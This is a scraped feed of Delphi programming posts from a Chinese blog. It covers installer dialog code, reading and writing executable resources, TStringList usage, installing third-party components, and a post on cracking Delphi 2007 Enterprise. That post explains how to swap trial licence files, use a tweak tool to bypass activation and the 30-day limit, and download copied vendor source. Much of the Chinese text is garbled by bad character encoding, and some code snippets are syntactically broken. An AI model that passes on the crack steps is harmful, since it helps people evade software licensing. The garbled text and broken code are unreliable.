    ID_Selet = 10002;
    ID_Setup = 10003;
    ID_Quit = 10004;
    ID_Exit = 10005;
   {$R Demo.Res}
   var
    MainWin: HWND;
  
   function My_Gettext: string;
   var
    Textlength: Integer;
    Text: PChar;
    s: string;
   begin
    TextLength := GetWindowTextLength(GetDlgItem(MainWin, ID_Edit));
    GetMem(Text, TextLength + 1);
    GetWindowText(GetDlgItem(MainWin, ID_Edit), Text, TextLength + 1);
    s := text;
    FreeMem(Text, TextLength + 1);
    Result := s;
   end;
  
   function Getmyname: string;
   var
    i, j: integer;
   begin
    J := 3;
    for i := 1 to length(ParamStr(0)) do
     if ParamStr(0)[i] = '' then J := I;
    Result := copy(ParamStr(0), J + 1, length(ParamStr(0)) - J);
   end;
  
   function SelectDirectory(handle: hwnd; const Caption: string; const Root: WideString; out
Directory: string): Boolean;
   var
    lpbi: _browseinfo;
    buf: array[0..MAX_PATH] of char;
    id: ishellfolder;
    eaten, att: cardinal;
    rt: pitemidlist;
    initdir: pwidechar;
   begin
    result := false;
    lpbi.hwndOwner := handle;
    lpbi.lpfn := nil;
    lpbi.lpszTitle := pchar(caption);
    lpbi.ulFlags := BIF_RETURNONLYFSDIRS + BIF_EDITBOX;
    SHGetDesktopFolder(id);
    initdir := pwchar(root);
    id.ParseDisplayName(0, nil, initdir, eaten, rt, att);
    lpbi.pidlRoot := rt;
    getmem(lpbi.pszDisplayName, MAX_PATH);
    try
     result := shgetpathfromidlist(shbrowseforfolder(lpbi), buf);
    except
     freemem(lpbi.pszDisplayName);
    end;
    if result then
     begin
      directory := buf;
      if length(directory) <> 3 then directory := directory + '';
     end;
   end;
  
   function MainDialogProc(
    DlgWin: hWnd;
    DlgMessage: UINT;
    DlgWParam: WPARAM;
    DlgLParam: LPARAM
    )
    : integer; stdcall;
   var
    MyIcon: HICON;
    Sdir: string;
   begin
    Result := 0;
    case DlgMessage of
     WM_INITDIALOG:
      begin
       MyIcon := LoadIcon(hInstance, 'MainIcon');
       SetClassLONG(DlgWin, GCL_HICON, MyIcon);
       MainWin := DlgWin;
      end;
     WM_Close:
      begin
       PostQuitMessage(0);
       Exit;
      end;
     WM_COMMAND:
      case LOWORD(DlgWParam) of
  
       ID_Selet:
        begin
         if SelectDirectory(DlgWin, '请选择安装目录', '', Sdir)
          then SendMessage(GetDlgItem(DlgWin, ID_Edit), WM_SETTEXT, 0, lParam(pChar
(Sdir)));
        end;
       ID_Setup:
        begin
         if My_Gettext = '' then
          begin
           MessageBox(DlgWin, '请先选择安装文g?', '信息', MB_ICONINFORMATION + MB_OK);
           Exit;
          end;
         CopyFile(pchar(ParamStr(0)), pchar(My_Gettext + Getmyname), false);
         MessageBox(DlgWin, '安装完毕!', '信息', MB_ICONINFORMATION + MB_OK);
         PostQuitMessage(0);
         Exit;
        end;
       ID_Quit:
        begin
         PostQuitMessage(0);
         EXIT;
        end;
       ID_Exit:
        begin
         if MessageBox(DlgWin, '你点M菜单“退?#8221;Q你定退出程序吗?', '信息',
MB_ICONQUESTION + MB_OKCANCEL) = IDOK then
          PostQuitMessage(0);
         Exit;
        end;
      end;
    end;
   end;
   begin
    DialogBox(hInstance, 'MAINFORM', 0, @MainDialogProc);
   end.
 


飞鸟 2007-05-25 22:39 发表评论
]]>
delphidE序资源文ghttp://www.tkk7.com/yczz/articles/117912.html飞鸟飞鸟Wed, 16 May 2007 10:40:00 GMThttp://www.tkk7.com/yczz/articles/117912.htmlhttp://www.tkk7.com/yczz/comments/117912.htmlhttp://www.tkk7.com/yczz/articles/117912.html#Feedback0http://www.tkk7.com/yczz/comments/commentRss/117912.htmlhttp://www.tkk7.com/yczz/services/trackbacks/117912.html在写E序的时候有些功能需要资源文件因此改写MSDN的例?br>
function  readSource(loadFile:PChar;var str:string):Boolean;
var
  hres:THandle;
  hexe:THandle;
  hload:THandle;
  pCResLock:PChar;
begin
  Result:=True;
  hexe:=LoadLibrary(loadFile);
  if hexe=0 then
    Result:=False;
  hres:= FindResource(hExe, 'Config', RT_RCDATA);
  if hres=0 then
    Result:=False;
  hload:=LoadResource(hexe,hres);
  if hload=0 then
    Result:=False;
  pCResLock:=LockResource(hload);
  FreeLibrary(hexe);
  str:=string(pCResLock);
  ShowMessage(pCResLock);
end;

function  updateSource(loadFile:PChar;str:string)Boolean;
var
  hUpdateRes :THandle;
begin
  Result:=True;
  hUpdateRes:=BeginUpdateResource(loadFile,False);
  Result:=UpdateResource(hUpdateRes,
     RT_RCDATA,
     PChar('Config'),
     MakeWord(LANG_NEUTRAL, SUBLANG_NEUTRAL) ,
     PChar(str),
     Length(str)
    );
  if Result=True then
    EndUpdateResource(hUpdateRes, FALSE);
end;



飞鸟 2007-05-16 18:40 发表评论
]]>
TStringList的用?http://www.tkk7.com/yczz/articles/116759.html飞鸟飞鸟Fri, 11 May 2007 07:47:00 GMThttp://www.tkk7.com/yczz/articles/116759.htmlhttp://www.tkk7.com/yczz/comments/116759.htmlhttp://www.tkk7.com/yczz/articles/116759.html#Feedback0http://www.tkk7.com/yczz/comments/commentRss/116759.htmlhttp://www.tkk7.com/yczz/services/trackbacks/116759.html常规的用法大安知道Q现在来讨论它的一些高U的用法?br>先把要讨论的几个属性列出来Q?br>1、CommaText
2、Delimiter & DelimitedText
3、Names & Values & ValueFromIndex
先看W一个:CommaText。怎么用呢Q用代码说话Q?br>const
  constr :String = 'aaa,bbb,ccc,ddd';
var
  strs :TStrings;
  i :Integer;
begin
  strs := TStringList.Create;
  strs.CommaText := constr;
  for i := 0 to Strs.Count-1 do
    ShowMessage(Strs[i]);
end;
执行了这D代码后Q可以看到ShowMessage昄出来的分别是Qaaa bbb ccc ddd?br>也就是说Qstrs.CommaText := constrq一句的作用Q就是把一个字W串?,'为分割符Q分D|加到TStrings中?br>那么如果不是?,'来分Ԍ又该怎么做呢Q现在看W二个例子。用Delimiter和DelimitedText?br>const
  constr :String = 'aaa\bbb\ccc\ddd';
var
  strs :TStrings;
  i :Integer;
begin
  strs := TStringList.Create;
  strs.Delimiter := '\';
  strs.DelimitedText := constr;
  for i := 0 to Strs.Count-1 do
    ShowMessage(Strs[i]);
end;
可以看到Q?昄的效果和W一个例子是一模一L。解释一下:
Delimiter为分隔符Q默认ؓQ?,'。DelimitedText是按Delimiter为分隔符的一个串Q得到赋值后回把q个字符串按Delimiter的字W添加到TStrings中?br>说到q里Q有惌v一个属性,QuoteChar。其默认gؓQ?"'Q不包括单引P
有何用呢Q看例子Q?br>const
  constr :String = '"aaa"\"bbb"\"ccc"\"ddd"';
var
  strs :TStrings;
  i :Integer;
begin
  strs := TStringList.Create;
  strs.Delimiter := '\';
  strs.DelimitedText := constr;
  for i := 0 to Strs.Count-1 do
    ShowMessage(Strs[i]);
end;
昄出来的仍然是aaa bbb ccc ddd。ؓ什么不是:"aaa" "bbb" "ccc" "ddd"呢?
再来看一个例子:
const
  constr :String = '|aaa|\|bbb|\|ccc|\|ddd|';
var
  strs :TStrings;
  i :Integer;
begin
  strs := TStringList.Create;
  strs.Delimiter := '\';
  strs.QuoteChar := '|';
  strs.DelimitedText := constr;
  for i := 0 to Strs.Count-1 do
    ShowMessage(Strs[i]);
end;
昄出来的又是aaa bbb ccc ddd。对比一下,应该不难明白吧?q个׃多说了,用得也不多?br>但是q要多说一句,当Delimiter为:','而QuoteChar为:'"'ӞDelimitedText和CommaText是同{的?br>最后要说的三个是:Names & Values & ValueFromIndex?br>看看下面的代码:
const
  constr :String = '0=aaa,1=bbb,2=ccc,3=ddd';
var
  strs :TStrings;
  i :Integer;
begin
  strs := TStringList.Create;
  strs.CommaText := constr;
  for i := 0 to strs.Count-1 do
  begin
    ShowMessage(strs.Names[i]);
    ShowMessage(strs.Values[strs.Names[i]]);
    ShowMessage(strs.ValueFromIndex[i]);
  end;
end;
通过q个例子不难看出Q?br>q个时候strs中的内容是:
0=aaa
1=bbb
2=ccc
3=ddd
而Names中则是:
0
1
2
3
在Values中则是:
aaa
bbb
ccc
ddd 
 

飞鸟 2007-05-11 15:47 发表评论
]]>
Delphi2007企业版破?/title><link>http://www.tkk7.com/yczz/articles/109410.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Mon, 09 Apr 2007 07:04:00 GMT</pubDate><guid>http://www.tkk7.com/yczz/articles/109410.html</guid><wfw:comment>http://www.tkk7.com/yczz/comments/109410.html</wfw:comment><comments>http://www.tkk7.com/yczz/articles/109410.html#Feedback</comments><slash:comments>6</slash:comments><wfw:commentRss>http://www.tkk7.com/yczz/comments/commentRss/109410.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yczz/services/trackbacks/109410.html</trackback:ping><description><![CDATA[<span> <center><strong><font color=#ff0000>delphi2007 SN(key)解决办法</font></strong></center><br> <div class="cqgseoi" id=size style="PADDING-RIGHT: 4px; PADDING-LEFT: 4px; PADDING-BOTTOM: 4px; WORD-BREAK: break-all; LINE-HEIGHT: 150%; PADDING-TOP: 4px; TEXT-ALIGN: left; break-word: word-wrap"> <blockquote style="LINE-HEIGHT: 150%; TEXT-ALIGN: left"> <h4>  q些天相信大安在忙着下蝲Delphi 2007吧,我也在第一旉从BT上下载了|上出的专业版Q但在今天发现官方Z企业版的30天测试版下蝲Qؓ了追求完从下午开始对企业版分析,分析l果如下Q?br><br><strong>一、关于官方的版本</strong><br>  官方下蝲的只是个EXE文gQ下载后认和专业版内的setup.exe是同一文gQ其它文件和专业版一P已经和官方下载的比对q了Q这里和M$的Vista一P是用序列来确定是什么版本的Q?img class=img onmousewheel="return bbimg(this)" onclick=window.open(this.src); alt=点击在新H口中打开囄 src="http://blog.suolei.com/images/emot/grin.gif" onload=resizepic(this) border=0></h4> <p>0a98a3729f236dd98d5fb3b0a289af63   Setup.exe<br>0a98a3729f236dd98d5fb3b0a289af63   DELPHI07TRIALSETUP.EXE  此ؓ官方下蝲的文?br><br>官方下蝲地址:  <a target=_blank><font color=#4a9ae9><u>http://www.codegear.com/Downloads/TrialandFreeVersions/Delphi/tabid/138/Default.aspx</u></font></a><br><strong>?</strong> 下蝲旉要注册一个帐P其实主要是申请个30天的序列PQ?br><br><strong>二、安装Delphi2007</strong><br>  删除专业版自带的delphi2007.slip文g(备䆾h)Q不是就无法出现输入序列L界面Q运行setup.exeq用甌来的30天测试序列号安装。完装完成后需要用序列受申请序列号时用的邮地址、密码激z?三样~Z不可)Q但q里可以不激zȝD2007Tweaks跌卛_Q如果激zM以后也可以用D2007Tweaks跌30天限?因ؓ用的?0天限制序列号Q所以装好后没有源码Q下面提供专业版Source目录压羃包下载??br><strong>D2007Tweaks下蝲<br></strong><strong><a title=D2007Tweaks href="http://www.tkk7.com/Files/yczz/D2007Tweaks.v1.00.ccrun.235200.rar"><strong></strong></a><a href="http://www.tkk7.com/Files/yczz/D2007Tweaks.v1.00.ccrun.235200.rar"><strong>点击q里下蝲</strong></a><a title=D2007Tweaks href="http://www.tkk7.com/yczz/admin/D2007Tweaks"><strong><br></strong></a>专业版Source目录打包</strong> <br><a title=D2007Tweaks href="http://www.tkk7.com/Files/yczz/D2007Tweaks.v1.00.ccrun.235200.rar"></a><strong><a href="http://www.tkk7.com/Files/yczz/source1.rar"><strong>点击q里下蝲1</strong></a><br></strong><a title=D2007Tweaks href="http://www.tkk7.com/Files/yczz/D2007Tweaks.v1.00.ccrun.235200.rar"></a><strong><a href="http://www.tkk7.com/Files/yczz/source2.rar"><strong>点击q里下蝲2</strong><a title=D2007Tweaks href="http://www.tkk7.com/yczz/admin/D2007Tweaks"><br></a></a></strong><a title=D2007Tweaks href="http://www.tkk7.com/Files/yczz/D2007Tweaks.v1.00.ccrun.235200.rar"></a><strong><a href="http://www.tkk7.com/Files/yczz/source3.rar"><strong>点击q里下蝲3</strong><a title=D2007Tweaks href="http://www.tkk7.com/yczz/admin/D2007Tweaks"><br></a></a></strong><a title=D2007Tweaks href="http://www.tkk7.com/Files/yczz/D2007Tweaks.v1.00.ccrun.235200.rar"></a><strong><a href="http://www.tkk7.com/Files/yczz/source4.rar"><strong>点击q里下蝲4</strong><a title=D2007Tweaks href="http://www.tkk7.com/yczz/admin/D2007Tweaks"><br></a></a></strong>Delphi2007 两个30天slip文gQ?br>d2007_Pro.slip  专业?br>d2007_Ent.slip  企业?br>  没有序列L朋友可以用这里提供的企业30天版slip文gq行安装。方法是替换专业版安装目录内的slip文g可以安装了?br><a title=D2007Tweaks href="http://www.tkk7.com/Files/yczz/D2007Tweaks.v1.00.ccrun.235200.rar"></a><strong><a href="http://www.tkk7.com/Files/yczz/delphi2007_slip.rar"><strong>点击q里下蝲</strong><a title=D2007Tweaks href="http://www.tkk7.com/yczz/admin/D2007Tweaks"><br></a></a></strong><br>  装完后即是企业版了!现在你就可以慢慢体会了!<br></p> <p align=center><a rel=lightbox></a><br><strong>Ȁzd的Splash界面</strong></p> <p><br><strong>三、错误处?/strong><br>1、安装时提示“Invalid Serial Number”<br>  删除C:\Documents and Settings\All Users\Application Data\下的CodeGear目录(此处C为系l盘)Q另外有不能安装在中文目录下?br>2、完装后提示要协?br>  用D2007Tweaks跌卛_?br><br><strong>四、其他发?/strong><br>1、安装程序会所有文件解压到下面目录中!<br>C:\Documents and Settings\XXXX\Local Settings\Application Data\{AB3EC276-D261-4943-A921-1CC1C6799AED}<br></p> </blockquote></div> </span> <img src ="http://www.tkk7.com/yczz/aggbug/109410.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yczz/" target="_blank">飞鸟</a> 2007-04-09 15:04 <a href="http://www.tkk7.com/yczz/articles/109410.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>BORLANDW三方组件安装方法delphi技?/title><link>http://www.tkk7.com/yczz/articles/68597.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 08 Sep 2006 12:38:00 GMT</pubDate><guid>http://www.tkk7.com/yczz/articles/68597.html</guid><wfw:comment>http://www.tkk7.com/yczz/comments/68597.html</wfw:comment><comments>http://www.tkk7.com/yczz/articles/68597.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yczz/comments/commentRss/68597.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yczz/services/trackbacks/68597.html</trackback:ping><description><![CDATA[ <p>不是由BORLAND提供的组件叫W三方组Ӟ<br />安装ҎQ?br />q前常见的各种形式的组件的安装Ҏ介绍一下。?</p> <p>1  只有一个DCU文g的组件。DCU文g是编译好的单元文Ӟq样的组件是作者不x源码公布。一般来_作者必说明此lg适合Delphi的哪U版本,如果版本不对Q在安装时就会出现错误。也正是因ؓ没有源码Q给使用者带来了不便Q那是一旦Delphi版本升Q此lg׃能再使用了,当然有的作者给Z几种版本的DCU文gQ用h据需要选择使用。这Llg的安装方法是Q在Component菜单中,选择install componentQ在对话?<br />"into existing package"中Q单几ZUnit file name”后的“Browse”按扭,在打开的文件对话框中,“文件类型”设定ؓ*.dcuQ找到要安装的DCU文gQ按OK按钮q回"into existing package"后再按OK按钮可以安装了。注意,此时Delphi会提Cdclusr40.dpk被重徏Q是否l,OK可以了。这里是组件安装到dclusr40.dpk包中Q此包从文g名上可以看出是用戯定义lg包,先安装到q个包中吧,下面再讲有关注意事项。安装完毕会有已l将lg注册完的提示信息以及安装到哪个组仉中的信息{,到组仉板上看看Q一般会出现一个新的组仉Q其中有刚安装的lg。?</p> <p>2?只有PAS文g或既有PAS又有DCU文g的组件。这U组件因为有PAS文gQ也是说作者提供了源码Q这好办多了。安装的Ҏ和上面是一LQ在文gcd中可以设定ؓDCU也可以设定ؓPASQ徏议设定ؓPASQ这样可用你的Delphi重新~译一下,看是否会出现问题。Delphi升后只能选择PAS文g安装Q这h能重新编译,使得lg能适应新Delphi版本。这Llg是很值得使用的,Ҏ心铃的经验,没有源码的组件最好不要用,一是存在Delphi版本升后无法用的问题Q再者当E序出现问题后用h法调试组件来判断是否是组件中存在BUG。?</p> <p>3、有dpk文g的组件包。带有dpk文g的组件包一般是有多个组件构成的Q也是说安装后会有多个lg供用,如果只有一个组件作者一般不会制成DPK文gQ用上面的方式发布可以了。对于这Llg包,一般来说会有详l的安装说明文gQ如上面提到的RXLIBQ由于组件复杂且安装时有先后序Q作者不提供安装说明用户Ҏ无法正确安装。如果没有安装说明文Ӟ那么用下面的Ҏ安装Q在File菜单下,选择”OPEN…”打开dpk文g(文gcd列表框中?.dpk)Q在出现的PackageH口中,工具栏上有Install按钮Q按此按钮即可进行安装。如果Install按钮处于无效状态,那么先按Compile按钮~译Q一般来说编译之后Install按钮׃处于有效状态,此时再按Install按钮可以了。?</p> <p>4?带有Bpl文g的组件包。一般来说这也是由多U组件构成的lg包,它其实是一个动态连接库文gQDLLQ。对于这U组件包的安装方法是Q在component菜单下选择“install packages”,然后单击Add按钮Q在打开的文件对话框中找到相应的bpl文g打开q回后,再单击Ok按钮可以了。?</p> <p>5、ActiveX控g的安装。要安装q类控gQ需要先用regsvr32.exe注册Q然后选择Component菜单中Import ActiveX ControlV在Import ActiveX Control打开的窗口中Q只有已l注册的ActiveX控g才出现在列表中,选中一个然后按Install按钮可以安装了。如果事先没有用regsvr32.exe注册也可以按ADD按钮扑ֈOCX文gx注册Q注册后再进行安装?</p> <p>几点说明Q?</p> <p>1 在拿到组件后先看是否有说明文Ӟ一般来说在说明文g中有如何安装的指|有些q会有组件的属性、事件、方法的使用说明Q这些在使用时是非常重要的?</p> <p>2  在上面的lgQ包Q安装操作之前,最好将 *.bpl拯C的System目录中,?*.pas?.dcu?.dcr?.dp?拯到Delphi的Lib目录中再q行?</p> <p>3  前面我们提到安装DCUlgӞ选用的是已经存在的dclusr40.dpkQ当然也可以选择安装C个新的包中,如果选择新包Q需要先取一个名字比如DEMOQ事实上安装完毕后用户可以找到的是Demo.bplQ而找不到DEMO.DPK。假如你已经一个组件安装到dclusr40.dpk中了Q还惛_安装一个组Ӟ如果再安装到dclusr40.dpk中,安装后你得到提示Q原来安装的那个lg已经被取消注册,你将无法使用了。这样不成了只能安装一个组件了吗?除非你再安装C个新的包中才可以两个lg同时使用。当然每安装一个组件生成一个新的BPL文g也未偿不可,但BPL文g增加许多。能否在dclusr40.dpk中多安装几个lg呢?当然是可以的。方法如下:用File菜单下的OPEN打开dclusr40.dpk文gQ单击ADD按钮Q在打开的对话框中选择ADD UNIT面Q按Unit file name后的“Browse”按钮打开lg单元文gQOK卛_Q用此种Ҏq样可添加多个组件的单元文gQ添加完毕,按一下编译按钮,然后再按Install按钮卛_Q如果单元文件是~译好的QDCUQ可以直接按安装按钮?</p> <p>4   lg的删除。光会安装可不行Q还要会删除呀。很单,在component菜单下,选择install packagesQ在列表中找到安装所在的BplQ按Remove按钮QokQ再把Bpl文g删掉彻底了Q如果不删除BPL文gQ下ơ可以按安装BPLlg的方法再安装使用</p> <img src ="http://www.tkk7.com/yczz/aggbug/68597.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yczz/" target="_blank">飞鸟</a> 2006-09-08 20:38 <a href="http://www.tkk7.com/yczz/articles/68597.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss> <footer> <div class="friendship-link"> <p>лǵվܻԴȤ</p> <a href="http://www.tkk7.com/" title="亚洲av成人片在线观看">亚洲av成人片在线观看</a> <div class="friend-links"> </div> </div> </footer> վ֩ģ壺 <a href="http://dxjz120.com" target="_blank">йxxxxx69Ƶ</a>| <a href="http://56v6.com" target="_blank">߹ۿպ</a>| <a href="http://yidazn.com" target="_blank">˳.wwwʯ</a>| <a href="http://apguangyu.com" target="_blank">˳Ƶx8x8</a>| <a href="http://hnmeiankj.com" target="_blank">ѹƵȫվ </a>| <a href="http://eldadhagar.com" target="_blank">ĻƷ</a>| <a href="http://www-959kj.com" target="_blank">ůůƵƵ</a>| <a href="http://newbuybay.com" target="_blank">һƬ߲</a>| <a href="http://18eeuus.com" target="_blank">޹պ߹Ƶ</a>| <a href="http://773311h.com" target="_blank">պƷƷƵ߹ۿ</a>| <a href="http://ge2hao.com" target="_blank">AVԴ߹ۿ</a>| <a href="http://hetaoqpj.com" target="_blank">˳wwwӰҳ</a>| <a href="http://yw8885.com" target="_blank">㽶97ѹ</a>| <a href="http://slmlxg.com" target="_blank">һaȫƵ </a>| <a href="http://yy1514.com" target="_blank">޳AVƬ߳ˮ</a>| <a href="http://ulihix.com" target="_blank">ѵƵ</a>| <a href="http://818812.com" target="_blank">ˮƵwww</a>| <a href="http://aiwoqi.com" target="_blank">ѵƵ</a>| <a href="http://yongfu-sh.com" target="_blank">޳aƬӰԺĦ</a>| <a href="http://445848.com" target="_blank">רVAV</a>| <a href="http://ocn888.com" target="_blank">vƬѲ</a>| <a href="http://asdfghjklzxcv.com" target="_blank">޸Ƶ</a>| <a href="http://9196528.com" target="_blank">aëƬëƬѹۿó </a>| <a href="http://njbyz.com" target="_blank">鶹Ƶѹۿ</a>| <a href="http://qinglou31.com" target="_blank">߳þѹۿ</a>| <a href="http://www-36664.com" target="_blank">ĻسƷ޸</a>| <a href="http://youkabaitiao.com" target="_blank">Ƶ߹ۿ</a>| <a href="http://hbjpxnyqckj.com" target="_blank">AV뾫Ʒ</a>| <a href="http://cnkaiertong.com" target="_blank">߾ƷƵѹۿ</a>| <a href="http://bbby6.com" target="_blank">99Ƶ߹ۿ</a>| <a href="http://www09191z.com" target="_blank">ۺһ</a>| <a href="http://dghxm168.com" target="_blank">һ߲ͨ</a>| <a href="http://86trader.com" target="_blank">AV߹ۿ</a>| <a href="http://zbsensor.com" target="_blank">ѿС12Ƶ</a>| <a href="http://flowsns.com" target="_blank">ؼAƬëƬ69</a>| <a href="http://1314a.com" target="_blank">¸Ļ</a>| <a href="http://gw311.com" target="_blank">йѹۿ߹ۿ</a>| <a href="http://dyk7.com" target="_blank">þþƷձҰ </a>| <a href="http://jcss99.com" target="_blank">ҹӰԺþþƷѿһ </a>| <a href="http://918989b.com" target="_blank">Ƶվ</a>| <a href="http://www19977.com" target="_blank">77777ҹþö</a>| <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body>